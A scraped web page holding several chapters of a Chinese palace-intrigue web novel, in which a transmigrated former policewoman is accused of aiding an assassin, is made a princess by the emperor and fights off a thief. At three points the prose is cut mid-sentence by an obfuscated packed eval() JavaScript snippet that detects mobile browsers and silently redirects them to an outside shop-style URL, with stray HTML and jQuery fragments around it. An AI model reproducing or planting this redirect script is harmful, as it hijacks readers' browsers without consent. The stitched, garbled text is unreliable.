“别问!”闻歌抓起茶壶对着嘴灌了几大口,水顺着下巴流到衣襟上也顾不上擦,“记住,不管谁来找我,就说我睡着了!病 了!死了都行!” 两个丫鬟面面相觑。 一个时辰后,暴风雨还是来了。 闻丞相回府的脚步声重得像要踏碎地砖,管家和仆役远远跟着,大气不敢出。 “砰!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992175|193764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>茶杯被重重顿在桌上,茶水溅了一桌。 “把那个孽障给我拖过来!”闻丞相的声音响彻前厅。 丞相夫人匆匆赶来,见他这副模样,吓了一跳:“老爷,这是怎么了?歌儿又闯什么祸了?” “闯祸?”闻丞相气得胡子直抖,“她差点把天捅出个窟窿!” 小桃战战兢兢道:“小姐、小姐睡着了……” “睡着了?就是死了也得给我抬过来!” 闻歌知道躲不过,磨磨蹭蹭来到前厅,刚跨过门槛,就听见一声暴喝: “跪下!” 她膝盖一软,差点真跪了,但嘴还硬着:“爹,我又怎么了?” “怎么了?”闻丞相抄起门边的家法棍——碗口粗的枣木棍子,抡起来虎虎生风,“我今天就打死你这个不知死活的东西!” 丞相夫人扑上去抱住棍子:“老爷!有话好好说!歌儿就是贪玩了些,罪不至死啊!” “贪玩?”闻丞相眼睛都红了,“她帮着刺客行刺皇上!这是诛九族的大罪!” “轰——!” 这话如同惊雷,炸得满厅人都懵了。 闻歌脑子里一片空白:“什、什么刺客?我没有……” “还在狡辩!”闻丞相嘶声道,“今日街上那个乞丐,是白国派来的死士!专为刺杀皇上而来!你倒好,不仅帮他脱身,还打 伤了追捕他的人!皇叔当场就指认你是同党!皇上龙颜大怒——” 他顿了顿,声音发颤:“圣旨……已经在路上了。” 丞相夫人腿一软,瘫坐在椅子上。 小桃小红跪倒在地,瑟瑟发抖。 闻歌张了张嘴,却发不出声音。 她想起乞丐掏出的匕首,想起轿中公子那双深不见底的眼,想起皇叔阴冷的眼神…… “我没有……”她喃喃道,“我只是……只是看不惯他们欺负人……” “看不惯?”闻丞相惨笑,“你看不惯的事多了!这世道,你看不惯就能随心所欲吗?!今日若非皇上……若非皇上拦着,此 刻来抄家的官兵已经到门口了!” 棍子高高举起。 “我今天就打死你!省得你连累全家!” “老爷不可!”丞相夫人死死抱住他的手臂。 “放手!” “要打先打死我!” 一片混乱中,闻歌忽然笑了。 笑声很轻,却让所有人都停了动作。 “爹,”她抬起头,眼神清澈,“如果我说,我真是被冤枉的,您信吗?” 闻丞相愣住了。 “我没有勾结刺客,也不知道那乞丐的身份。”闻歌一字一句,“我只是……见不得以多欺少,见不得弱者受辱。如果这有错 ——” 她顿了顿,笑容有些惨淡:“那我认。” 厅内死寂。 闻丞相手中的棍子,缓缓垂下。 他看着女儿——这张脸还带着稚气,眼神却亮得惊人,像淬了火的星子。恍惚间,他想起多年前,先帝曾拍着他的肩膀说: “闻卿,你这个人,太直。直者易折。” 如今,他的女儿,竟也生了一身反骨。 不知是该哭,还是该笑。 就在此时,府外传来悠长的唱报: “圣——旨——到——!” “请闻丞相,接——旨——!” 声音穿透庭院,像一道催命符。 闻丞相闭了闭眼,再睁开时,已是一片决然。 他整了整衣冠,看向闻歌:“待会儿无论发生什么,不许说话,不许辩解。一切,有为父在。” 闻歌看着他鬓角的白发,忽然鼻尖一酸。 她重重点头。 父女二人前一后走出前厅。庭院里,传旨太监已立于阶下,手捧明黄卷轴,身后跟着两队禁军。 阳光刺眼。 闻歌眯起眼,看见府门外,那顶玄色轿子静静停着。 轿帘低垂,看不清里头的人。 但她知道,他在看。 这场戏,才刚刚开场。 而她这个“小仙女”,怕是要在人间,先历经一场劫难了。 7. 第 07 章 圣旨到府的声音,像一把冰锥扎进丞相府每个人的心里。 闻丞相手中的家法棍“哐当”落地,整个人颓然跌坐回太师椅,一瞬间仿佛老了十岁。他望着门外透进来的天光,长叹一声 ——那叹息里是说不尽的悔。 悔不该让女儿出门,悔不该刚才只顾着发怒,更悔……在最该让女儿逃命的时刻,自己竟僵在原地。 丞相夫人已软倒在地,若不是嬷嬷扶着,几乎要昏厥过去。小桃和小红死死抱住闻歌,哭得撕心裂肺:“小姐是冤枉的!小姐 那么善良,怎么会是刺客帮凶!” “老爷!求您救救小姐!”小红跪爬到闻丞相脚边,额头磕在青砖上“咚咚”作响,“奴婢愿意替小姐去死!求您——” “够了。”闻丞相闭了闭眼,再睁开时,眼底已是一片决然的清明。 他看着女儿——那个才“死而复生”没几日的女儿,此刻站在那里,背挺得笔直,脸上竟没什么惧色,只有一种近乎荒谬的平 静。 “歌儿,”他声音沙哑,“待会儿进宫,无论发生什么,为父——” “爹。”闻歌打断他,忽然笑了,“您别说了。我都明白。” 她明白什么? 明白此去凶多吉少?明白丞相府可能因她而倾覆?还是明白……这荒唐的命运? 黄公公已率两队御前侍卫踏入前厅。太监尖细的嗓音像刀子刮过耳膜:“皇上有旨,闻丞相携女即刻进宫——轿已备好,请 吧。” 闻丞相深深看了夫人一眼,那一眼里有千言万语,最终只化作沉默。他起身,整了整朝服,对闻歌道:“走。” “歌儿——!”丞相夫人扑上来抓住女儿的手,泪如雨下,“娘跟你一起去!娘去求皇上!娘去磕头——” “夫人!”闻丞相厉声喝止,示意家丁拉开她。这个时候,多一个人去,不过是多一个送死。 闻歌任由母亲拉着自己的手,那双手枯瘦,冰凉,抖得厉害。她鼻子一酸,却硬生生把眼泪憋回去。 “娘,”她轻声说,“您好好在家等着。女儿……会回来的。” 这话她自己都不信。 但她必须说。 小桃和小红跪在地上扯着她的衣摆,哭成了泪人。闻歌一根根掰开她们的手指,动作很轻,却很坚决。 “小姐……”小桃仰着脸,满脸是泪。 “照顾好夫人。”闻歌说完,转身走向门外。 阳光刺眼。 皇宫,太极殿。 闻丞相一进殿门便“扑通”跪倒,额头抵在冰冷的金砖上:“臣教女无方,罪该万死!请陛下治臣之罪,放过小女……她年少 无知,绝非有意——” “闻卿平身。” 龙椅上的声音传来,清朗,平静,听不出喜怒。 闻歌站在父亲身后,抬起头。 然后,她愣住了。 高台之上,龙袍加身,冕旒垂珠——可那张脸,分明是今日轿中那个似笑非笑、说她“投怀送抱”的公子! 他是皇上?! 闻歌脑子里“嗡”的一声,无数画面闪过:轿中他握着她手腕的温度,他说“余香长留”时眼底的戏谑,还有街角遇刺时,他 从轿中伸出的那只手—— “大胆!见到陛下还不跪下!”旁边有大臣厉喝。 闻丞相急得回头瞪她,用口型说:“跪!” 闻歌膝盖一弯,正要跪,却听龙椅上那人道:“免了。” 满殿皆静。 萧昌靠在龙椅里,手指有一搭没一搭地敲着扶手,目光落在闻歌脸上——她还是那身月白男装,只是发髻跑散了,几缕碎发贴 在颊边,衬得那张小脸越发素净。此刻她睁圆了眼睛看他的模样,像只受惊的鹿。 有趣。 “今日街市之事,”萧昌缓缓开口,“朕已查清。那乞丐确系白国死士,潜伏京城月余,伺机行刺。” 闻丞相冷汗涔涔:“臣女无知,误帮凶徒——” “但,”萧昌话锋一转,“若非闻小姐突然插手,打乱了那伙人原本的部署,朕也不会提前警觉。更别说……”他顿了顿,眼 底掠过一丝几不可察的笑意,“最后关头,是闻小姐掷出陶罐,打偏了刺客的匕首。” 他看向闻歌:“你说,朕该赏你,还是该罚你?” 闻歌张了张嘴,还没说话,旁边一个声音急急插了进来: “陛下!赏不得!” 皇叔萧璟出列,面色阴沉:“臣听闻,闻丞相之女前日死而复生,本就蹊跷。今日又恰巧出现在刺客行刺现场,说是‘误 帮’,谁信?民间已有传言,说南方洪灾乃妖孽作祟,而闻小姐——” “皇叔。”萧昌打断他,声音冷了几分,“天灾归天灾,人事归人事。朕还没糊涂到将洪水归咎于一个小姑娘。” “可她确实死而复生!此事满城皆知!” “那又如何?”萧昌挑眉,“世间奇事多了,难道都是妖孽?朕倒觉得,闻小姐大难不死,是有后福之人。” 他不再给萧璟说话的机会,朗声道:“黄公公,宣旨。” 明黄卷轴展开。 “奉天承运,皇帝诏曰:闻氏女歌,今日护驾有功,胆识过人。特封为安国郡主,赐黄金万两,火云貂皮一件——” “陛下!”萧璟急了,“火云貂皮乃先帝遗物,怎能——” “朕说赏得,就赏得。”萧昌目光扫过满殿大臣,那一眼里的威压,让所有人都噤了声。 他看向闻歌,语气又缓和下来:“郡主,接旨吧。” 闻歌还懵着。 从“刺客同党”到“安国郡主”,这转折太大,她脑子有点转不过来。直到闻丞相在旁低声道:“谢恩!” 她才机械地跪下:“谢……谢皇上。” “平身。”萧昌顿了顿,又道,“闻卿,你先退下。朕有些话,要单独问问郡主。” 闻丞相脸色一变:“陛下,小女她……” “放心。”萧昌笑了笑,“朕不会吃了她。” 这话说得温和,却不容置疑。 闻丞相一步三回头地退出了大殿。沉重的殿门缓缓合上,隔绝了外间所有目光。 偌大的太极殿,只剩下两个人。 寂静。 闻歌垂着眼,能听见自己的心跳声——咚,咚,咚,像擂鼓。 脚步声由远及近。 玄色龙纹靴停在她面前三尺处。 “现在没有外人了,”萧昌的声音在空旷的大殿里回响,带着点揶揄,“朕是该叫你闻公子,还是闻姑娘?” 闻歌抬起头。 他离得这么近,近到她能看清他龙袍上绣的金线纹路,能闻到他身上淡淡的龙涎香——和轿中时一样,又似乎更清冽些。 “陛下想怎么叫,就怎么叫。”她听见自己干巴巴的声音。 “啧,”萧昌摇头,“在轿子里不是挺伶牙俐齿的?怎么,怕了?” “怕。”闻歌老实承认,“怕陛下一个不高兴,把我脑袋砍了。” 萧昌笑了。 这一笑,竟有些少年气。他背着手绕着她走了一圈,像在打量什么稀奇物件:“朕听说,你醒来后满口‘神仙’‘修仙’,还 要离家出走?” “……是。” “为什么?” 闻歌抿了抿唇。她该怎么说?说有个白胡子老头告诉她,找到能拔刀的人就能成仙?说她自己都不知道自己是谁、从哪儿来? “臣女……做了个梦。”她选了最稳妥的说法,“梦里老神仙说,我有仙缘。” “仙缘?”萧昌停下脚步,站到她面前,微微俯身,“那神仙有没有告诉你,仙缘和死罪,只在一线之间?” 他的气息拂在她额前,温热。 闻歌心跳漏了一拍。 “今日若朕真想治你的罪,”他声音压低,只有两人能听见,“你现在已经在大牢里了。而不是站在这里,听朕问你这些废 话。” “……为什么?”闻歌脱口而出。 “为什么?”萧昌直起身,走向窗边。夕阳的余晖透过雕花窗棂洒进来,在他身上镀了层金边。“因为朕好奇。” 他转身,目光如炬:“一个死而复生的人,一个满口胡话要修仙的人,一个女扮男装跑上街、路见不平就动手的人——闻歌, 你告诉朕,你到底是谁?” 闻歌喉头发紧。 她是谁? 她是二十一世纪的女刑警,是追捕毒贩中弹身亡的倒霉蛋,是莫名其妙穿越到这个世界的孤魂野鬼。 可她不能说。 “臣女……”她听见自己的声音在发抖,“就是闻歌。丞相之女闻歌。” “是吗?”萧昌走回她面前,忽然伸手—— 闻歌下意识后退,却被他扣住了手腕。 他的手掌宽大,温热,指腹有薄茧,握得她生疼。 “这把刀,”他的目光落在她腰间,“神仙给的?” 闻歌浑身一僵。 他怎么知道刀在那儿?! “给朕看看。”不是商量,是命令。 闻歌咬着牙,从怀中取出匕首。五寸乌鞘,碧色琉璃——在殿内昏黄的光线下,那点碧色竟幽幽流转,像活物。 萧昌接过刀的瞬间,瞳孔几不可察地缩了缩。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992176|193764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>方才在街市上匆忙一瞥,只觉此刀寻常。可此刻握在手中,刀鞘冰凉,那股凉意却丝丝缕缕渗入皮肤,顺着血脉往上爬,直抵 心口。 他又尝试拔刀。 依旧纹丝不动。 “果然……”他低语,眼神复杂地看向闻歌,“你说,只有有缘人能拔出此刀?” “老神仙是这么说的。” “那若是永远拔不出呢?” 闻歌怔了怔。 这个问题,她没想过。 “拔不出……”她喃喃,“就成不了仙吧。” “成不了仙,就当凡人。”萧昌将刀还给她,语气忽然轻松起来,“凡人也没什么不好。有爹娘疼,有富贵享,还能……”他 顿了顿,眼底漾开一丝笑意,“还能在街上打抱不平,救驾立功。” 闻歌握着刀,指尖冰凉。 她忽然想起今日父亲举着棍子要打她时,眼底深藏的痛;想起母亲抓着她手不放时,那绝望的泪。 是啊,凡人。 可她这个“凡人”,活得也太跌宕起伏了点。 “陛下,”她忽然问,“您信这世上有神仙吗?” 萧昌挑眉:“怎么?” “若真有神仙,”闻歌看着手中的刀,碧色琉璃映着她的眼,“他们看着凡人在下面折腾,会不会觉得……很可笑?” 大殿里静了一瞬。 萧昌望着她,许久,忽然笑了:“朕不知道神仙怎么想。但朕知道,凡人之所以折腾,是因为活着。” 他转身望向殿外渐沉的暮色:“活着,就要折腾。不折腾,和死了有什么区别?” 这话说得随意,却让闻歌心头一震。 她抬起头,看着他的背影——挺拔,孤峭,立在这天下最尊贵的位置上,却说出了这样一句话。 “陛下……” “好了。”萧昌打断她,重新走回龙椅前坐下,又恢复了那副君临天下的模样,“说正事。今日你虽救驾有功,但私自出府、 女扮男装、当街斗殴——这些账,朕还没跟你算。” 闻歌头皮一麻。 来了来了,秋后算账来了。 “不过,”萧昌话锋一转,“念你是初犯,又刚‘死而复生’神志未清,朕便网开一面。” 他提起朱笔,在案上铺开的绢帛上写了几个字,然后盖下玉玺。 “黄公公。” 殿门开了一条缝,黄公公躬身而入。 “传旨:安国郡主闻歌,赐宫外府邸一座,凤牌一枚,准其自由出入宫禁。”萧昌顿了顿,补充道,“再拨一队禁军护卫郡主 安全。免得有些人……总想打她的主意。” 最后那句,意有所指。 黄公公恭敬接旨。 闻歌还愣着——又有赏赐?这皇上是散财童子吗? “还不谢恩?”萧昌睨她一眼。 “谢……谢陛下隆恩。”闻歌跪下行礼,心里却乱成一团。 自由出入宫禁?禁军护卫?这哪是赏赐,这分明是……把她放在眼皮子底下看着! “起来吧。”萧昌挥挥手,“今日你也累了,回去好生歇着。三日后,朕在宫中设宴,为你庆封郡主之喜。” “……是。” 闻歌退出大殿时,腿都是软的。 殿外,闻丞相正焦急等候,见她完好无损地出来,长长舒了口气:“歌儿,陛下他……” “爹,”闻歌打断他,回头望向那扇缓缓合上的殿门,“咱们回家吧。” 夕阳将两人的影子拉得很长。 而在殿内,萧昌站在窗前,望着那对父女渐行渐远的背影。 手中,把玩着一枚白玉扳指。 “神仙……”他低声重复这个词,眼底暗流涌动。 黄公公悄声上前:“陛下,火云貂皮乃先帝挚爱之物,赏给闻小姐,是否……” “是否太过?”萧昌转身,目光落在案上那把普通至极的匕首——方才闻歌离开时,他趁她不注意,用另一把刀调换了。 真正的匕首此刻在他袖中。 他握住刀柄,再次尝试。 依旧拔不出。 但他能感觉到——刀在震动。极轻微,像心脏的搏动。 “黄公公,”他忽然问,“你说这世上,真有死而复生之事吗?” 黄公公一愣:“老奴……不知。” “朕也不知道。”萧昌将匕首收入怀中,望向殿外漫天霞光,“但朕知道,这潭水,是越来越浑了。” 他笑了。 “浑水,才好摸鱼。” 晚风穿殿而过,吹动烛火明灭。 远处宫檐下,惊起一群归巢的鸦。 8. 第 08 章 宫廷府邸的赏赐送到丞相府时,正是第二日午时。 黄公公领着长长的仪仗队,从宫门一路招摇过市,引得京城百姓纷纷驻足。二十口朱漆木箱依次抬入相府前院,箱盖开启时,珠光宝气几乎晃花了人眼。 最惹眼的是那件火云貂裘——通体赤红如焰,毛尖流转着暗金光泽,静静躺在紫檀木匣中,像一捧凝固的霞光。闻歌伸手摸了摸,触手温润细腻,竟似有暖意自指尖蔓延。 “小姐,这貂裘可真好看……”小桃眼睛发直。 “好看是好看,”闻歌嘀咕,“就是太招摇了。” 岂止是招摇。 凤牌被黄公公亲自捧到她面前。巴掌大小的赤金令牌,正面浮雕展翅凤凰,背面刻着“如朕亲临”四个篆字。黄公公躬身递上时,声音压得极低:“郡主,这凤牌自太祖朝起,只赐过三位——一位是开国皇后,一位是辅政三十年的孝端太后,还有一位……”他顿了顿,“便是您了。” 闻歌握着那沉甸甸的令牌,心里没有半分喜悦,只有沉甸甸的不安。 这哪是赏赐,分明是烫手山芋。 黄公公前脚刚走,闻丞相后脚就关上了书房门。老丞相盯着桌上那排排赏赐,眉头拧成了疙瘩:“歌儿,皇上昨日……当真说要纳你为妃?” 闻歌坐在他对面,手指无意识摩挲着凤牌上的纹路:“是。我说我要修仙,他就笑了,说他是天子,我要什么道长他都能请来。” “胡闹!”丞相夫人急得眼圈发红,“后宫那是什么地方?吃人不吐骨头!歌儿这性子进去,还不被人生吞活剥了?” “可皇上的意思,谁能违逆?”闻丞相长叹一声,疲惫地揉着眉心,“伴君如伴虎啊……今日他宠你,赏你凤牌,准你自由出入宫禁。明日若恼了你,这些便是催命符。” 闻歌没说话。 她想起昨日太极殿里,萧昌说“朕有的是时间等你心甘情愿”时的眼神——那不是深情,也不是戏谑,而是一种近乎狩猎的专注。 他想从她这里得到什么? 真的只是一个妃子? “爹,娘,”她忽然抬头,“皇上赐我宫外府邸,又准我自由出入宫禁,这是不是意味着……我暂时还不用进宫?” 闻丞相一怔:“话是这么说,但——” “那就够了。”闻歌站起身,目光扫过满屋珍宝,“只要不进宫,就有周旋的余地。至于这些赏赐……”她扯了扯嘴角,“既然是皇上硬要给的,咱们就好好收着。反正不要白不要。” 丞相夫人被她这话逗得又想哭又想笑:“你这孩子!说的是什么话!” “实话。”闻歌眨眨眼,“皇上钱多,咱们替他花点,也算为国分忧了。” 话虽如此,当夜闻歌躺在锦被中,却翻来覆去睡不着。 窗外月华如练,洒在床前地上,一片银白。她摸出枕下那把“神仙赐的刀”——五寸乌鞘,碧色琉璃在月光下幽幽泛着光。 白日里黄公公送赏赐时,她悄悄试过,还是拔不出来。 “老神仙啊老神仙,”她对着刀小声嘀咕,“你让我找有缘人,有缘人在哪儿呢?该不会是那个皇上吧?” 想到萧昌握刀时的眼神,她心里忽然一动。 但很快又摇头否决:“不可能。他要真是有缘人,刀早该拔出来了。” 正胡思乱想,窗外忽然传来极轻微的“咔嗒”声。 像是瓦片被踩动的轻响。 闻歌瞬间警觉,轻手轻脚翻身下床,赤足踩在冰凉的地板上,悄无声息地移到窗边。 透过窗纸缝隙,她看见院墙上掠过一道黑影! “有贼——!” 几乎同时,府外传来巡逻官兵的呼喊。火把的光亮骤然燃起,将半个丞相府照得通明。 闻歌一把抓过外衫披上,拉开房门—— 门是虚掩的。 她心里“咯噔”一声。入睡前明明栓好了门闩,怎么会…… 来不及细想,院中已乱成一团。十几个举着火把的官兵正围着一个蒙面黑衣人,刀剑碰撞声、呼喝声、脚步声混杂在一起。 “小姐!快回房!”小桃和小红从偏房冲出来,一左一右要拉她。 闻歌却没动。 她的目光死死盯住黑衣人背上那个松脱的包袱——一角赤红貂裘露了出来,在火光下艳得像血。 火云貂! 这贼胆子也太肥了,皇上的赏赐也敢偷?! “让开。”她甩开丫鬟的手。 “小姐!危险!”小红急得快哭了,“让官兵处理吧!” “处理什么?”闻歌冷笑,“三五个人都拿不下一个毛贼,指望他们?” 话音未落,院中又有两个官兵被黑衣人踹飞出去,“砰砰”撞在廊柱上。那黑衣人功夫极俊,身形如鬼魅,在刀光剑影中穿梭竟游刃有余。 “丞相府没人了吗?”黑衣人声音嘶哑,带着嘲讽,“派这些酒囊饭袋来送死?” 闻歌眼神一凛。 她拨开挡在身前的丫鬟,纵身一跃—— 月白中衣在夜风中扬起,她像一片轻羽落入战圈,恰恰挡在黑衣人与院门之间。 满院皆静。 火把噼啪燃烧,映着她素净的脸。她没梳发髻,长发披散在肩头,赤足站在青石地上,明明一身寝衣打扮,脊背却挺得笔直。 黑衣人显然愣了一下,随即嗤笑:“哟,丞相府是没人了,让个黄毛丫头来挡道?” “东西放下,”闻歌伸手,“饶你不死。” “好大的口气!”黑衣人身形暴起,五指成爪直抓她面门,“爷正好缺个压寨夫人!” 这一爪来得又快又狠,带着破空之声。小桃吓得捂住眼睛,小红尖叫出声。 闻歌却不退反进! 她侧身、拧腰、抬肘——动作一气呵成,手肘精准地撞在黑衣人腕关节上。“咔嚓”一声轻响,黑衣人闷哼着缩手,眼中已露出惊色。 “有两下子!”他不再轻敌,袖中滑出一柄短刀,寒光乍现。 闻歌眼神一冷。 她没有兵器,索性扯下披着的外衫,在腕上一绕一抖,柔软的布料瞬间绷直如棍,“啪”地抽在黑衣人持刀的手腕上! 这一下力道奇大,短刀脱手飞出,“叮当”落地。 黑衣人暴怒,欺身再上。两人在院中缠斗起来,拳脚相交快如闪电。官兵们竟插不上手,只能举着火把围成一圈,看得目瞪口呆。 谁也没想到,这位“死而复生”后名声狼藉的闻家大小姐,竟有这样一身好功夫! 十招过后,黑衣人渐露败象。闻歌一脚踹在他肋下,他踉跄着倒退数步,背上的包袱彻底松脱,火云貂裘滑落在地。 “臭丫头!”黑衣人捂着伤处,眼神怨毒,“爷记住你了!” 他忽然纵身跃起,足尖在廊柱上一点,竟要翻上屋顶! “想跑?”闻歌正要追,身后传来丞相夫人的惊叫:“歌儿!不许去!” 母亲不知何时也赶来了,死死抱住她的腰:“你一个姑娘家,追什么贼!万一有个好歹——” “娘!那是御赐之物!”闻歌急道。 “御赐的也没你珍贵!”丞相夫人声音发颤,“让他偷去!娘明日去求皇上再赐一件!” 闻歌还要挣扎,屋顶上却突生变故! 一道黑影不知从何处窜出,如夜枭般凌空扑下,一脚踹在正要逃窜的黑衣人背上! “噗——” 黑衣人喷出一口血,顺着瓦片往下滚。眼看要摔下屋檐,他单手死死扣住檐角,整个人悬在半空。 “大胆毛贼,皇上的赏赐也敢偷?”后来那人声音低沉,同样蒙着面,站在屋脊上居高临下。 闻歌眼睛一亮——帮手来了! 她再不犹豫,从身旁官兵手中夺过一把腰刀,足尖点地,借力跃上廊柱,再一翻身便上了屋顶!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992177|193764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “歌儿——!”丞相夫人的尖叫响彻夜空。 闻歌充耳不闻。她提刀冲向悬在檐边的黑衣人,刀锋直劈他抓着包袱的右手—— 黑衣人不得不松手。 包袱坠落,被下方官兵接住。而闻歌刀锋一转,顺势挑向他的蒙面巾! 黑布飘落。 月光下,一张脸暴露出来——约莫三十上下,面容粗犷,最醒目的是右脸一道斜贯的伤疤,从眉骨直到下颌,在昏暗光线下狰狞如蜈蚣。 闻歌瞳孔骤缩。 这张脸……她见过! 不是今世,是前世。在那个追捕了三天三夜的毒贩团伙里,有个二把手,脸上就有这样一道疤。她记得很清楚,因为交手时,那道疤被她用警棍擦过,渗出的血染红了半边脸。 怎么会…… “嗖——!” 破空声尖啸而来! 一支羽箭直射闻歌眉心!她本能举刀格挡,“当”的一声,箭尖撞在刀身上,震得她虎口发麻。 “快跑!”墙外传来一声短促的呼哨。 刀疤脸趁机翻身跃上屋檐,回头狠狠瞪了闻歌一眼:“臭丫头,今日之仇,爷记住了!” 几个起落,便消失在重重屋脊之后。 闻歌没有追。 她站在原地,握着刀的手微微发抖。不是怕,是惊——那张脸,那道疤,还有方才放冷箭的时机、呼哨的节奏…… 太熟悉了。 熟悉得让她脊背发凉。 “郡主?”那个后来出现的蒙面人落在她身侧,声音温和下来,“贼人已逃,您没事吧?” 闻歌回过神,转头看他。 这人虽蒙着面,但身形挺拔,眼神清正,方才出手相助干脆利落,显然是练家子。 “多谢兄台相助。”她抱拳,“还未请教……” “路见不平罢了。”蒙面人摆摆手,目光在她脸上停留一瞬,忽然压低声音,“郡主近日,最好少出门。有些人……盯上您了。” 说完,不等闻歌再问,纵身跃下屋顶,几个闪身便没入夜色。 院中官兵开始收拾残局。丞相夫人被丫鬟搀扶着,脸色苍白如纸。小桃小红哭着跑过来:“小姐!您吓死我们了!” 闻歌跳下屋顶,将刀还给官兵,弯腰捡起地上的火云貂裘。 貂裘完好无损,只是沾了些灰尘。她轻轻抖了抖,赤红的毛色在火把映照下,流转着妖异的光泽。 “歌儿……”丞相夫人颤声唤她。 “娘,我没事。”闻歌转身,露出一个安抚的笑,“您看,东西抢回来了。” 可她心里清楚,今夜之事,绝不只是“偷窃”这么简单。 刀疤脸,冷箭,蒙面人的警告…… 还有,她睡前明明栓好的门闩。 闻歌抬起头,望向皇宫方向。重重屋宇之后,那座巍峨宫城在夜幕下沉默矗立,像一头蛰伏的巨兽。 萧昌的脸在脑海中浮现。 他说:“朕有的是时间等你心甘情愿。” 他说:“这潭水,是越来越浑了。” 浑水摸鱼。 那她闻歌,是水,是鱼,还是……摸鱼的人? “小姐,回房吧,夜里凉。”小桃小声劝。 闻歌点点头,抱着貂裘往回走。经过廊下时,她忽然停下脚步,看向方才打斗时掉落在地的那把“神仙赐的刀”。 刀静静躺在青石地上,碧色琉璃蒙了尘。 她弯腰拾起,握在掌心。 这一次,刀身传来一丝极细微的震颤——像心脏跳动,像血脉搏动。 很轻,但确实存在。 闻歌握紧刀,抬头看向夜空。 月已西斜,星光稀疏。 远处传来更夫敲梆子的声音,四更天了。 这一夜,还很长。 而她这条“仙缘”未断、“尘缘”已起的路,似乎才刚踏出第一步。 9. 第 09 章 闻歌从屋顶跃下时,像一片被风托着的羽毛,轻飘飘落在青石地上,连丁点声响都没有。 丞相夫人张开的手臂僵在半空,脸上的惊恐还未褪去,就见女儿已经完好无损地站在面前,甚至还有闲心理了理微乱的鬓发。 “母亲,接住啦。”闻歌歪头一笑,把捡回来的火云貂裘塞到母亲怀里,“您的宝贝,完璧归赵。” “你、你……”丞相夫人抱着那团赤红貂裘,手还在抖,“你怎么上去的?又怎么下来的?这、这可是三丈高的屋顶!” “跳下来的呀。”闻歌说得轻描淡写,还原地蹦了两下,“您看,女儿好好的。” 小桃和小红一左一右扑上来,一个摸胳膊一个摸腿,确认小姐真没受伤,这才“哇”地哭出声:“小姐您吓死我们了!”“下次可不能这样了!” 闻丞相那边正指挥官兵追捕,闻歌走过去按住父亲的手臂:“爹,别追了。人早跑远了,夜里地形复杂,追出去反而容易中埋伏。” “可那贼偷的是御赐之物——”闻丞相眉头紧锁。 “东西不是抢回来了吗?”闻歌拍拍貂裘上的灰,“再说了,皇上真要怪罪,女儿去解释。就说……是女儿武艺不精,让贼跑了。” 闻丞相盯着她,眼神复杂。 这个女儿,醒来后变了太多。死而复生已是奇事,如今又多了这一身诡异的功夫——刚才她在屋顶上那几下,分明是极老道的江湖路数,绝不是一个深闺女子该会的。 “歌儿,”他缓缓开口,“你何时学的武?” 来了。 闻歌心里一紧,脸上却笑得无辜:“梦里学的呀。爹不是知道吗?女儿在棺材里那三日,做了好些梦,有个白胡子老神仙教了我不少东西。” 这话半真半假,却让闻丞相噎住了。 一旁的丞相夫人更是听得心惊肉跳——又是神仙!自女儿醒来,“神仙”二字都快成口头禅了! “好了好了,先回屋。”丞相夫人拉着女儿就走,边走边压低声音,“歌儿,你跟娘说实话,到底怎么回事?你从前连只蚂蚁都不敢踩,现在怎么……” “怎么敢跟贼打架?”闻歌接过话头,眨眨眼,“娘,死过一回的人,胆子总会大些的。” 这话说得轻巧,却让丞相夫人鼻子一酸,再也问不下去了。 回到闺房,关上门,闻歌脸上的笑容瞬间消失。 她快步走到梳妆台前,拉开最底层的抽屉——空的。 那个紫檀木刀盒不见了。 “刀呢?”她声音发紧。 小桃和小红对视一眼,小心翼翼道:“小姐,您是不是放别处了?” “不可能!”闻歌把抽屉整个抽出来,倒扣在地上,又去翻旁边的妆奁、衣箱,“我明明放在这里,和火云貂裘一起的!” 两个丫鬟见她脸色不对,也跟着翻找起来。可闺房就那么大,三人翻箱倒柜找了足足一刻钟,连床底都摸遍了,愣是没见那把五寸匕首的影子。 闻歌跌坐在床边,手心冰凉。 刀丢了。 那把老神仙给的、据说能让她成仙的刀,丢了。 “是不是……被那个贼偷走了?”小红小声猜测,“他偷貂裘的时候,顺带把刀也摸走了?” 闻歌浑身一震。 对,刀疤脸!他扑向自己时,左手好像确实在抽屉方向晃了一下!当时她只顾着抢回貂裘,根本没注意! “好你个王八蛋……”闻歌咬着牙站起来,“偷东西偷到姑奶□□上了!” “小姐,”小桃怯生生地问,“那把刀……很重要吗?” “重要。”闻歌从牙缝里挤出两个字,“比那破貂裘重要一百倍。” 那是她和那个玄乎其玄的“前世”唯一的联系,是她“修仙任务”的关键道具,更是……那个白胡子老头留给她的唯一念想。 等等。 